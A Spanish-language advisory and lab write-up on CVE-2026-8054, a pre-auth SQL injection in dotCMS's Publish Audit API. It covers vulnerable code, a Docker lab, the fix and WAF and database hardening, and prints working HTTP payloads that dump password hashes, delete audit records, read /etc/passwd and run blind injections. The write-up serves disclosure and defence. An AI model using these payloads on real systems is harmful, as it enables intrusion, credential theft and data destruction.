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CVE-2026-8054 — dotCMS Inyección SQL Pre-auth | Kitploit
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CVE-2026-8054

dotCMS Inyección SQL Pre-auth

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1. Resumen de la vulnerabilidad

CVE-2026-8054 es una vulnerabilidad crítica de inyección SQL sin autenticación previa (Pre-auth SQL Injection) que existe en la API de Auditoría de Publicación (Publish Audit API) de dotCMS Core. Esta vulnerabilidad es rastreada oficialmente como incidente de seguridad SI-75 y fue oficialmente reportada y divulgada a finales de mayo de 2026. Debido a que un atacante puede activarla de forma remota sin necesidad de ningún permiso de cuenta, su daño potencial es muy grave.

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PropiedadValor
CVECVE-2026-8054
Seguimiento oficialSI-75
Tipo de vulnerabilidadInyección SQL (CWE-89)
Componente afectadodotCMS Core - Publish Audit API
Puntuación CVSS10.0 (Critical)
Versiones afectadas25.11.04-1 a 26.04.28-02
Versión corregida26.04.28-03
Vector de ataqueInyección SQL remota sin autenticación (Pre-auth)
Privilegios requeridosNinguno
Interacción del usuarioNinguna
Impacto en versiones LTSNo afectadas (la rama de código de auditoría no se retroportó al árbol LTS)

2. Explicación detallada del principio de la vulnerabilidad

2.1 Naturaleza de la vulnerabilidad

La vulnerabilidad existe en los puntos finales REST /api/auditPublishing/get y /api/auditPublishing/getAll. Estos puntos finales, al recibir los parámetros de solicitud del cliente, no realizan ningún filtrado ni enlace de parámetros, sino que construyen dinámicamente sentencias SQL mediante concatenación directa de cadenas.

Aún más grave, dotCMS omitó por completo la verificación de autenticación y autorización en estos puntos finales sensibles relacionados con la auditoría. Esto significa que cualquier atacante remoto sin credenciales en la red externa, con solo poder acceder a la red del sistema, puede enviar directamente solicitudes HTTP con payloads maliciosos a estos puntos finales.

2.2 Punto de entrada de la vulnerabilidad

Ruta del archivo: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java

La vulnerabilidad existe en dos puntos finales de la API REST:

  • GET /api/auditPublishing/get/{bundleId} - Obtiene el estado de auditoría de una publicación individual
  • POST /api/auditPublishing/getAll - Obtiene el estado de auditoría de múltiples publicaciones

Problema clave: Antes de la corrección, estos puntos finales no requerían ninguna autenticación, cualquier usuario anónimo podía acceder directamente.

root@kitploit:~
@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {

    @POST
    @Path("/getAll")
    @Produces(MediaType.APPLICATION_JSON)
    public Response getAll(List<String> bundleIds) {
        // 【Punto vulnerable】¡Sin verificación de autenticación! Llama directamente a la API del backend
        try {
            final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
            // ...
        }
    }
}

2.3 Código central de la vulnerabilidad

Ruta del archivo: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java

Método: getPublishAuditStatuses(List<String> bundleIds) (líneas 224-245)

root@kitploit:~
@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
        throws DotPublisherException {
    try {
        final List<PublishAuditStatus> result = new ArrayList<>();

        DotConnect dc = new DotConnect();

        // 【Punto vulnerable 1】Concatena directamente la entrada del usuario a la sentencia SQL
        // Solo envuelve con comillas simples, sin ninguna parametrización o escape
        final List<String> parameter = bundleIds.stream()
            .map(id -> "'" + id + "'")  // Peligroso: concatenación de cadenas
            .collect(Collectors.toList());

        // 【Punto vulnerable 2】Usa String.format para construir SQL, la entrada del usuario se incrusta directamente
        dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
            String.join(",", parameter)));

        List<Map<String, Object>> items = dc.loadObjectResults();

        for(Map<String, Object> item: items) {
            result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
        }

        return result;
    } catch(Exception e) {
        Logger.debug(PublisherUtil.class, e.getMessage(), e);
        throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
    }
}

Constante SQL (SELECT_ALL_BY_BUNDLES_IDS):

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)

2.4 Ruta de propagación del flujo sucio

root@kitploit:~
graph LR
    subgraph 外部攻击者
        A[远程攻击者] -->|发送恶意payload| B[HTTP REST API]
    end

    subgraph Application Layer
        B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
        C -->|调用| D[PublishAuditAPI]
        D -->|调用| E[PublishAuditAPIImpl]
        E -->|传递bundleIds| F[污点处理<br/>bundleIds.stream<br/>.map id -> id]
        F -->|拼接参数| G[SQL构造<br/>String.format]
    end

    subgraph Technology Layer
        G -->|构造SQL| H[动态SQL查询<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
        H -->|执行| I[SQL执行]
        I -->|执行注入SQL| J[PostgreSQL/MySQL]
    end

    subgraph 漏洞点
        K[漏洞点1<br/>无认证检查] -.->|跳过认证| C
        L[漏洞点2<br/>无参数化绑定] -.->|仅添加引号| F
    end

    style A fill:#ff6b6b,stroke:#333,color:#fff
    style K fill:#ff6b6b,stroke:#333,color:#fff
    style L fill:#ff6b6b,stroke:#333,color:#fff
    style J fill:#ffa94d,stroke:#333

Propagación del flujo sucio: Entrada del usuario → API REST → Procesamiento del backend → Construcción SQL → Ejecución en la base de datos Defectos clave: Sin autenticación + Sin parametrización = Inyección SQL completamente controlable

2.5 Análisis del principio de inyección SQL

Supongamos que la entrada del usuario es bundleIds = ["x' OR '1'='1"]

SQL normal:

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')

SQL después de la inyección:

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')

Dado que '1'='1' siempre es verdadero, esta consulta devolverá todos los registros de la tabla.

root@kitploit:~
graph TD
    subgraph 输入对比
        A[正常输入<br/>bundle-123] -->|构造| B[正常SQL<br/>WHERE bundle_id IN<br/>'bundle-123']
        C[恶意输入<br/>x OR 1=1] -->|注入| D[注入SQL<br/>WHERE bundle_id IN<br/>x OR 1=1]
    end

    subgraph 数据库执行
        B -->|执行| E[数据库]
        D -->|执行| E
    end

    subgraph 结果对比
        E -->|返回| F[正常结果<br/>1条记录]
        E -->|返回 数据泄露| G[泄露结果<br/>所有记录]
    end

    style C fill:#ff6b6b,stroke:#333,color:#fff
    style G fill:#ff6b6b,stroke:#333,color:#fff
    style D fill:#ff6b6b,stroke:#333,color:#fff

    note1[注入点: 单引号闭合原有字符串<br/>OR 1=1 使条件永远为真<br/>结果: 返回所有记录]

3. Análisis de impacto y daños

Un atacante que explote con éxito esta vulnerabilidad puede ejecutar comandos SQL arbitrarios en el contexto del usuario del sistema de base de datos, lo que lleva a las siguientes consecuencias graves:

root@kitploit:~
graph TD
    subgraph 攻击影响分析
        subgraph 数据机密性
            A[管理员密码哈希]
            B[用户凭证]
            C[重置Token]
            D[系统配置]
        end

        subgraph 数据完整性
            E[网站内容]
            F[用户角色权限]
            G[审计日志]
        end

        subgraph 系统可用性
            H[DROP TABLE]
            I[DELETE数据]
            J[UPDATE数据]
        end

        subgraph 权限提升
            K[管理员接管]
            L[文件系统读写]
            M[远程代码执行]
        end
    end

    N[SQL注入漏洞] -->|泄露| A
    N -->|泄露| B
    N -->|泄露| C
    N -->|篡改| E
    N -->|篡改| F
    N -->|执行| H
    N -->|实现| K
    N -->|实现| L

    O[CVSS 10.0 Critical] -.->|评估| N

    style N fill:#ff6b6b,stroke:#333,color:#fff
    style O fill:#ff6b6b,stroke:#333,color:#fff

3.1 Fuga de datos sensibles

El atacante puede extraer tablas de la base de datos principal mediante inyección SQL, obteniendo:

  • Hashes de contraseñas de administradores
  • Información de credenciales de usuarios
  • Tokens de restablecimiento
  • Información de configuración del sistema
  • Datos de contenido del sitio web

Payload de ataque de ejemplo – Obtener contraseña de administrador:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]

3.2 Manipulación y destrucción de datos

El atacante puede modificar, insertar o eliminar arbitrariamente datos en la base de datos:

  • Contenido del sitio web
  • Roles y permisos de usuarios
  • Configuración del sistema
  • Registros de auditoría

Payload de ataque de ejemplo – Eliminar registros de auditoría:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x'; DELETE FROM publishing_queue_audit; --"]

3.3 Escalada de privilegios y ejecución remota de código

Dependiendo del tipo de base de datos conectada en el backend (PostgreSQL, MySQL, etc.) y los permisos de configuración, el atacante podría aprovechar el punto de inyección para lograr:

  • Toma de control de la cuenta de administrador del backend
  • Lectura/escritura del sistema de archivos (a través de funciones de la base de datos)
  • Ejecución remota de código (RCE)

Payload de ataque de ejemplo – Lectura de archivos en PostgreSQL:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]

3.4 Análisis de la superficie de ataque

DimensiónEvaluación
Vector de ataqueRed remota (Network)
Complejidad del ataqueBaja (Low)
Condición previaNinguna (None)
Interacción del usuarioNinguna (None)
Alcance del impactoCambiado (Changed)
Impacto en la confidencialidadAlto (High)
Impacto en la integridadAlto (High)
Impacto en la disponibilidadAlto (High)

4. Pasos para la reproducción de la vulnerabilidad

4.1 Configuración del entorno

root@kitploit:~
graph TB
    subgraph Docker环境架构
        subgraph docker-compose
            A[dotcms-vuln<br/>dotcms:25.11.04-1]
            B[dotcms-db<br/>postgres:15]
            C[dotcms-es<br/>elasticsearch:7.17]
        end

        D[dotcms-net<br/>bridge网络]

        E[HTTP :8080]
        F[HTTPS :8443]
        G[PostgreSQL :5432]
        H[Elasticsearch :9200]
    end

    A -->|暴露| E
    A -->|暴露| F
    B -->|暴露| G
    C -->|暴露| H

    A -->|连接数据库| B
    A -->|连接搜索引擎| C

    D --- A
    D --- B
    D --- C

    style A fill:#51cf66,stroke:#333
    style B fill:#51cf66,stroke:#333
    style C fill:#51cf66,stroke:#333

    note1[漏洞版本: 25.11.04-1<br/>初始密码: admin<br/>端口: 8080, 8443]

Usa Docker Compose para montar el entorno vulnerable:

docker-compose.yml:

root@kitploit:~
services:
  dotcms:
    build: .
    container_name: dotcms-vuln
    ports:
      - "8080:8080"
      - "8443:8443"
    environment:
      - DOT_INITIAL_ADMIN_PASSWORD=admin
      - DOT_DOTCMS_URL=http://localhost:8080
      - DOT_DB_HOST=dotcms-db
      - DOT_DB_PORT=5432
      - DOT_DB_NAME=dotcms
      - DOT_DB_USERNAME=dotcms
      - DOT_DB_PASSWORD=dotcms
      - DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms
      - DOT_DB_DRIVER=org.postgresql.Driver
      - DOT_ES_ENDPOINTS=http://dotcms-es:9200
      - DOT_ES_HOSTNAME=dotcms-es
    depends_on:
      dotcms-db:
        condition: service_healthy
      dotcms-es:
        condition: service_started

  dotcms-db:
    image: postgres:15
    environment:
      - POSTGRES_DB=dotcms
      - POSTGRES_USER=dotcms
      - POSTGRES_PASSWORD=dotcms
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U dotcms"]
      interval: 5s
      timeout: 5s
      retries: 20

  dotcms-es:
    image: elasticsearch:7.17.24
    environment:
      - discovery.type=single-node
      - xpack.security.enabled=false
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"

Dockerfile:

root@kitploit:~
FROM dotcms/dotcms:25.11.04-1

Comando de inicio:

root@kitploit:~
docker compose up -d
# Espera a que dotCMS se inicialice (aproximadamente 2-3 minutos)
# Verifica el estado: docker compose logs -f dotcms

4.2 Verificación de la vulnerabilidad

Prueba 1: Confirmar que el punto final no requiere autenticación

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 11

["test-id"]

Respuesta: 200 OK, devuelve un array vacío [], lo que demuestra que el punto final es accesible sin autenticación.

Prueba 2: Inyección SQL - Ciego booleano ✅ Verificado

Principio de la inyección ciega booleana: se determina si una condición es verdadera o falsa observando la diferencia en los códigos de estado de la respuesta HTTP.

root@kitploit:~
graph TD
    subgraph 布尔盲注流程
        A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"]

        B -->|真条件| C["真条件 and 1=1"]
        B -->|假条件| D["假条件 and 1=2"]

        C -->|返回数据| E["404 Not Found 有数据 NPE"]
        D -->|不返回数据| F["200 OK + 空数组 无数据正常"]

        E -->|分析| G["分析响应"]
        F -->|分析| G

        G -->|推断条件真假| H["结论推断"]
    end

    style C fill:#51cf66,stroke:#333
    style D fill:#ff6b6b,stroke:#333,color:#fff
    style E fill:#ff6b6b,stroke:#333,color:#fff
    style F fill:#51cf66,stroke:#333

    note1["Payload: real-bundle-1 and 1=1 响应: 404 NPE异常 结论: 条件为真"]
    note2["Payload: real-bundle-1 and 1=2 响应: 200 + 空数组 结论: 条件为假"]

Prueba de condición verdadera (and 1=1):

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=1--'"]

Respuesta: 404 Not Found

Prueba de condición falsa (and 1=2):

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=2--'"]

Respuesta: 200 OK, devuelve []

Análisis de la ejecución SQL:

root@kitploit:~
-- Condición verdadera: bundle_id coincide y 1=1 es verdadero -> devuelve datos -> el código maneja NPE -> 404
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'')

-- Condición falsa: bundle_id coincide pero 1=2 es falso -> no devuelve datos -> resultado vacío manejado normalmente -> 200
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'')

Principio de la diferencia en la respuesta:

CondiciónResultado SQLComportamiento del códigoRespuesta HTTP
and 1=1 (verdadero)Devuelve registros coincidentesturnIntoPublishAuditStatus() lanza NullPointerException al procesar datos404
and 1=2 (falso)No devuelve registrosLista vacía devuelta normalmente200 + []

Conclusión: Mediante la diferencia entre respuestas 404/200, el atacante puede inferir bit a bit cualquier información de la base de datos (nombres de tablas, valores de campos, hashes de contraseñas, etc.).

Prueba 3: Inyección SQL - Ciego basado en tiempo ✅ Verificado

Principio de la inyección ciega basada en tiempo: se determina si una condición es verdadera o falsa observando la diferencia en el tiempo de respuesta.

root@kitploit:~
graph TD
    subgraph 时间盲注流程
        A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"]
        B -->|传递| C["延时Payload SELECT pg_sleep N"]

        C -->|执行SQL| D["PostgreSQL"]
        D -->|调用| E["pg_sleep N 延时执行"]

        E -->|延时N秒| F["测量响应时间"]
        F -->|对比基线| G["分析延时差异"]
        G -->|推断条件真假| H["结论推断"]
    end

    style C fill:#51cf66,stroke:#333
    style E fill:#51cf66,stroke:#333

    note1["Payload: x and SELECT pg_sleep 3 text=t 正常响应: 0.03秒 延时响应: 3.02秒 结论: pg_sleep执行成功"]

Prueba con retardo de 3 segundos:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(3))::text='t'--'"]

Respuesta: 200 OK, tiempo 3.02 segundos

Prueba con retardo de 5 segundos:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(5))::text='t'--'"]

Respuesta: 200 OK, tiempo 5.01 segundos

Análisis de la ejecución SQL:

root@kitploit:~
select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'')

Comparación de tiempos de respuesta:

PayloadRetardo esperadoTiempo realResultado
Solicitud normal0 segundos0.03 segundos✅
pg_sleep(3)3 segundos3.02 segundos✅ Retardo exitoso
pg_sleep(5)5 segundos5.01 segundos✅ Retardo exitoso

Conclusión: controlando el retardo en la respuesta, el atacante puede inferir bit a bit información de la base de datos incluso en escenarios sin salida visible.


5. Análisis de la solución de corrección

5.1 Contenido de la corrección PR #35553

root@kitploit:~
graph TD
    subgraph 修复方案
        subgraph 代码修复
            A[参数化查询<br/>使用占位符]
            B[认证增强<br/>Push Publish Token]
            C[输入验证<br/>null/空检查]
        end

        subgraph 修复效果
            D[防止SQL注入]
            E[限制未授权访问]
            F[防止空指针异常]
        end

        G[PR #35553]
        H[修复版本<br/>26.04.28-03]
    end

    G -->|实现| A
    G -->|实现| B
    G -->|实现| C

    A -->|参数绑定| D
    B -->|强制认证| E
    C -->|空值处理| F

    H -->|包含| G

    style G fill:#51cf66,stroke:#333
    style H fill:#51cf66,stroke:#333

    note1[修复前: String.format拼接<br/>修复后: dc.addParam参数绑定]

Corrección 1: Consulta parametrizada

Antes de la corrección (código vulnerable):

root@kitploit:~
final List<String> parameter = bundleIds.stream()
    .map(id -> "'" + id + "'")
    .collect(Collectors.toList());
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter)));

Después de la corrección (código seguro):

root@kitploit:~
// Nuevo: verificación de valores nulos
if (bundleIds == null || bundleIds.isEmpty()) {
    return Collections.emptyList();
}

// Uso de marcadores de posición para consultas parametrizadas
final String placeholders = bundleIds.stream()
    .map(id -> "?")
    .collect(Collectors.joining(","));

dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders));
bundleIds.forEach(dc::addParam);  // Enlace de parámetros, previene la inyección SQL

Corrección 2: Mejora de la autenticación

Antes de la corrección:

root@kitploit:~
public Response getAll(List<String> bundleIds) {
    // Sin verificación de autenticación
    try {
        final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);

Después de la corrección:

root@kitploit:~
public Response getAll(final List<String> bundleIds,
                       @Context final HttpServletRequest request) {

    // Nuevo: verificación del token de autenticación Push Publish
    final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken =
            AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request);

    final Optional<Response> failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken);

    if (failResponse.isPresent()) {
        return failResponse.get();  // Devuelve 401 Unauthorized
    }
    // ...
}

5.2 Principio de la corrección

Medida de correcciónDescripción
Consulta parametrizadaUso de marcadores de posición ? en lugar de concatenación de cadenas; la base de datos maneja automáticamente el escape de parámetros, previniendo fundamentalmente la inyección SQL
Mejora de autenticaciónExigir que la solicitud lleve un token Push Publish válido, restringiendo el acceso solo a usuarios autenticados con permisos en el componente publishing-queue
Verificación de entradaAñadir comprobaciones de null y listas vacías para evitar excepciones de puntero nulo

5.3 Nota sobre las versiones afectadas

  • Versiones afectadas: Todas las versiones de desarrollo ágil/iteración rápida de dotCMS Core desde la 25.11.04-1 hasta la 26.04.28-02
  • Versiones no afectadas: LTS (versión de soporte a largo plazo) no está afectada, porque la rama de código de auditoría afectada nunca fue retroportada (Backported) al árbol LTS

6. Mitigación temporal y recomendaciones de protección

Si no es posible actualizar inmediatamente a la versión corregida, se pueden tomar las siguientes medidas de mitigación temporal:

root@kitploit:~
graph TD
    subgraph 防护措施
        subgraph 网络层
            A[WAF规则拦截<br/>阻止/api/auditPublishing/]
            B[防火墙限制<br/>仅允许内网访问]
        end

        subgraph 应用层
            C[Nginx防护规则<br/>location拦截]
            D[ModSecurity规则<br/>SQL注入检测]
        end

        subgraph 数据层
            E[数据库权限限制<br/>最小权限原则]
            F[限制高危函数<br/>pg_read_file等]
        end

        G[升级到26.04.28-03<br/>根本解决方案]
    end

    A -.->|临时替代| G
    B -.->|临时替代| G
    C -.->|临时替代| G
    E -.->|降低影响| G

    style G fill:#51cf66,stroke:#333
    style A fill:#ffd43b,stroke:#333
    style B fill:#ffd43b,stroke:#333
    style C fill:#ffd43b,stroke:#333
    style D fill:#ffd43b,stroke:#333

    note1[优先级: P0 - 立即升级<br/>其他措施为临时缓解方案]

6.1 Bloqueo mediante reglas WAF

Configura políticas de control de acceso en el firewall de aplicaciones web (WAF) o proxy inverso para bloquear o denegar directamente las solicitudes externas a las rutas /api/auditPublishing/get y /api/auditPublishing/getAll.

Ejemplo de configuración de reglas de protección en Nginx

root@kitploit:~
# /etc/nginx/conf.d/dotcms-security.conf

# Bloquear solicitudes a la API de auditoría de publicación
location ~ ^/api/auditPublishing/(get|getAll) {
    # Devolver 403 prohibido
    return 403 "Forbidden: Endpoint blocked for security reasons";
    add_header Content-Type text/plain;
}

# O usar un enfoque más permisivo, solo permitir acceso desde la red interna
location ~ ^/api/auditPublishing/(get|getAll) {
    # Permitir rangos de IP internas
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    allow 192.168.0.0/16;
    # Denegar todos los demás orígenes
    deny all;
}

# Reglas WAF para características de inyección SQL
location / {
    # Detectar características comunes de inyección SQL
    if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") {
        return 403;
    }

    # Detectar inyección de comillas simples
    if ($request_uri ~* "'") {
        return 403;
    }

    proxy_pass http://dotcms_backend;
}

Ejemplo de reglas ModSecurity WAF

root@kitploit:~
# /etc/modsecurity/rules/dotcms-cve-2026-8054.conf

# Regla 1: Bloquear acceso a los puntos finales vulnerables
SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \
    "id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: Blocked access to vulnerable dotCMS endpoint'"

# Regla 2: Detectar características de inyección SQL
SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \
    "id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: SQL Injection attempt detected'"

6.2 Restringir permisos de la base de datos

Asegúrate de que la cuenta que utiliza dotCMS para conectar a la base de datos siga el principio de mínimo privilegio:

root@kitploit:~
-- Ejemplo de restricción de permisos en PostgreSQL
-- Crear usuario restringido
CREATE USER dotcms_restricted WITH PASSWORD 'secure_password';

-- Conceder solo permisos necesarios en tablas
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted;

-- Prohibir crear/eliminar tablas
REVOKE CREATE ON SCHEMA public FROM dotcms_restricted;

-- Prohibir ejecutar comandos del sistema
REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted;

-- Prohibir leer archivos
REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted;

6.3 Protección a nivel de red

root@kitploit:~
# Usar iptables para restringir el acceso al puerto de la API
# Solo permitir acceso a la red interna al puerto 8080
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP

7. Resumen

root@kitploit:~
graph TD
    subgraph 漏洞总结
        subgraph 根因分析
            A[缺乏输入验证<br/>用户输入直接拼接SQL]
            B[缺乏认证<br/>API无需认证即可访问]
            C[缺乏参数化<br/>字符串拼接而非参数查询]
        end

        subgraph CVSS评估
            D[CVSS 10.0<br/>Critical]
            E[网络远程]
            F[低复杂度]
            G[无需认证]
        end

        subgraph 修复建议
            H[P0: 立即升级<br/>26.04.28-03]
            I[P1: WAF拦截<br/>临时缓解]
            J[P2: 数据库权限<br/>降低影响]
        end
    end

    A -->|导致| D
    B -->|导致| D
    C -->|导致| D

    H -->|解决| A
    H -->|解决| B
    H -->|解决| C

    I -.->|临时替代| H
    J -.->|降低风险| H

    style D fill:#ff6b6b,stroke:#333,color:#fff
    style H fill:#51cf66,stroke:#333

    note1[攻击向量: Network<br/>攻击复杂度: Low<br/>权限要求: None<br/>用户交互: None]

7.1 Causa raíz de la vulnerabilidad

  1. Falta de validación de entrada: La entrada del usuario se concatena directamente en la sentencia SQL, sin ningún filtrado ni escape.
  2. Falta de autenticación: Los puntos finales de la API son accesibles sin autenticación, exponiendo funcionalidades sensibles del backend.
  3. Falta de parametrización: Se utiliza concatenación de cadenas en lugar de consultas parametrizadas, violando las mejores prácticas de codificación segura.

7.2 Evaluación de la superficie de ataque

  • Vector de ataque: Red remota (Network)
  • Complejidad del ataque: Baja (Low)
  • Condición previa: Ninguna (None)
  • Interacción del usuario: Ninguna (None)
  • Puntuación CVSS: 10.0 (Critical)

7.3 Prioridad de las recomendaciones de corrección

PrioridadMedidaDescripción
P0 - InmediataActualizar a dotCMS 26.04.28-03 o superiorVersión oficial corregida, soluciona el problema de raíz
P1 - UrgenteConfigurar reglas WAF para bloquearMedida de mitigación temporal, bloquea el tráfico de ataque
P2 - ImportanteRestringir permisos de la base de datosReduce el alcance del impacto en caso de explotación
P3 - RecomendadoAuditoría de seguridad de otros puntos finalesVerificar si existen problemas similares

7.4 Nota sobre las versiones LTS

Oficialmente, las versiones LTS (soporte a largo plazo) no se ven afectadas, porque la rama de código de auditoría afectada nunca fue retroportada (Backported) al árbol LTS. Los usuarios de versiones LTS no necesitan una actualización urgente.


8. Referencias

  1. NVD - CVE-2026-8054
  2. SentinelOne - CVE-2026-8054 Vulnerability Database
  3. dotCMS Security Advisory - SI-75
  4. dotCMS REST API Authentication
  5. GitHub PR #35553 - Fix
  6. Alan Turing Institute - TIER_2 CVE-2026-8054 Report

Fecha de generación del informe: 2026-06-08 Herramientas de análisis: Docker, curl, PostgreSQL Versión vulnerable: dotCMS 25.11.04-1 Versión corregida: dotCMS 26.04.28-03 (PR #35553)